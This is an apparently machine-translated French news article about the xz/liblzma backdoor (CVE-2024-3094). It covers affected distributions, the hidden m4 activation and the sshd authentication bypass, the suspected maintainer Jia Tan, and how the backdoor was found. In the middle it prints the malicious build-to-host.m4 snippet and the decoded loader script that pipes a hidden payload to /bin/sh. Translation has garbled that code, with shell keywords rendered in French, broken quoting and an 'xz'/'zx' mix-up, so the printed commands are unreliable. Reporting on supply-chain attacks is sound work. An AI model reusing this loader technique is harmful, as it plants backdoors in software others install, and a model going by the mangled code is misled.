Une porte dérobée a été découverte dans la bibliothèque xz/liblzma qui permet l'entrée via sshd

Dans le package XZ Utils, qui comprend la bibliothèque liblzma et des utilitaires permettant de travailler avec des données compressées au format « .xz », une porte dérobée (CVE-2024-3094) a été identifiée qui permet l'interception et la modification des données traitées par les applications associées. avec la bibliothèque liblzma. La cible principale de la porte dérobée est le serveur OpenSSH, qui dans certaines distributions est fourni avec la bibliothèque libsystemd, qui à son tour utilise liblzma. Lier sshd à une bibliothèque vulnérable permet aux attaquants d'accéder au serveur SSH sans authentification.

La porte dérobée était présente dans les versions officielles 5.6.0 et 5.6.1, publiées les 24 février et 9 mars, qui ont réussi à pénétrer dans certaines distributions et référentiels, par exemple Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide et 40 bêta, usine openSUSE et tumbleweed, LibreELEC, Alpine Edge, Solus, NixOS instable, OpenIndiana, OpenMandriva Rolling, pkgsrc current, Slackware current, tests Manjaro. Il est recommandé à tous les utilisateurs des versions xz 5.6.0 et 5.6.1 de revenir de toute urgence à la version 5.4.6.

Parmi les facteurs atténuant le problème, on peut noter que la version de liblzma avec porte dérobée n'a pas réussi à faire partie des versions stables des grandes distributions, mais a affecté openSUSE Tumbleweed et Fedora 40-beta. Arch Linux et Gentoo ont utilisé une version vulnérable de zx, mais ne sont pas sensibles à l'attaque car ils n'appliquent pas le correctif systemd-notify à openssh, ce qui entraîne la liaison de sshd à liblzma. La porte dérobée n'affecte que les systèmes x86_64 basés sur le noyau Linux et la bibliothèque Glibc C.

Le code d'activation de la porte dérobée était masqué dans les macros m4 du fichier build-to-host.m4 utilisé par la boîte à outils automake lors de la construction. Lors de l'assemblage, lors de l'exécution d'opérations obscurcies complexes basées sur des archives (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), utilisées pour tester l'exactitude du fonctionnement, un fichier objet avec un code malveillant a été généré, qui a été inclus dans la bibliothèque liblzma et modifié la logique de fonctionnement de certaines de ses fonctions. Les macros m4 activant la porte dérobée étaient incluses dans les archives tar de la version, mais ne figuraient pas dans le référentiel Git. Dans le même temps, des archives de tests malveillantes étaient présentes dans le référentiel, c'est-à-dire la personne qui a implémenté la porte dérobée avait accès à la fois au référentiel et aux processus de génération de versions.

Lors de l'utilisation de liblzma dans des applications, des modifications malveillantes pourraient être utilisées pour intercepter ou modifier des données, ou affecter le fonctionnement de sshd. En particulier, le code malveillant a usurpé la fonction RSA_public_decrypt pour contourner le processus d'authentification sshd. La porte dérobée incluait une protection contre la détection et ne se manifestait pas lorsque les variables d'environnement LANG et TERM étaient définies (c'est-à-dire lors de l'exécution du processus dans le terminal) et que les variables d'environnement LD_DEBUG et LD_PROFILE n'étaient pas définies, et n'était également activée que lors de l'exécution du processus. /usr/sbin/sshd fichier exécutable. La porte dérobée disposait également d'un moyen de détecter l'exécution dans des environnements de débogage.

En particulier, le fichier m4/build-to-host.m4 utilisait gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | évaluation $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Dans la première construction, l'opération grep a trouvé le fichier tests/files/bad-3-corrupt_lzma2.xz, qui, une fois décompressé, a généré le script : ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && quitte 0 [ ! $(uname) = "Linux" ] && quitte 0 [ ! $(uname) = "Linux" ] && quitte 0 [ ! $(uname) = "Linux" ] && quitte 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` si test -f ../../config.status;puis eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (tête -c +1024 >/dev/null) && tête -c +2048 && (tête -c +1024 >/dev/null) && tête -c +2048 && (tête -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####Monde####

La manière dont les attaquants ont réussi à accéder à l'infrastructure du projet xz n'a pas encore été entièrement clarifiée. On ne sait pas non plus combien d’utilisateurs et de projets ont été compromis à cause de la porte dérobée. L'auteur présumé de la porte dérobée (JiaT75 - Jia Tan), qui a publié des archives contenant du code malveillant dans le référentiel, a correspondu avec les développeurs de Fedora et envoyé des demandes d'extraction à Debian liées à la transition des distributions vers la branche xz 5.6.0, et n'a pas éveiller les soupçons, puisqu'il a participé à xz développe depuis deux ans et est le deuxième développeur en termes de nombre de modifications apportées. En plus du projet xz, l'auteur présumé de la porte dérobée a également participé au développement des packages xz-java et xz-embedded. De plus, Jia Tan figurait il y a quelques jours parmi les mainteneurs du projet XZ Embedded utilisé dans le noyau Linux.

Le changement malveillant a été découvert après avoir analysé la consommation excessive du processeur et les erreurs générées par valgrind lors de la connexion via ssh aux systèmes basés sur Debian sid. Il est à noter que la version xz 5.6.1 incluait des modifications préparées par l'auteur présumé de la porte dérobée en réponse aux plaintes concernant les ralentissements et les plantages de sshd survenus après la mise à niveau vers la version zx 5.6.0 avec la porte dérobée. De plus, l'année dernière, Jia Tan a apporté des modifications incompatibles avec le mode d'inspection "-fsanitize=address", ce qui a entraîné sa désactivation lors des tests de fuzz.

Source: opennet.ru

Ajouter un commentaire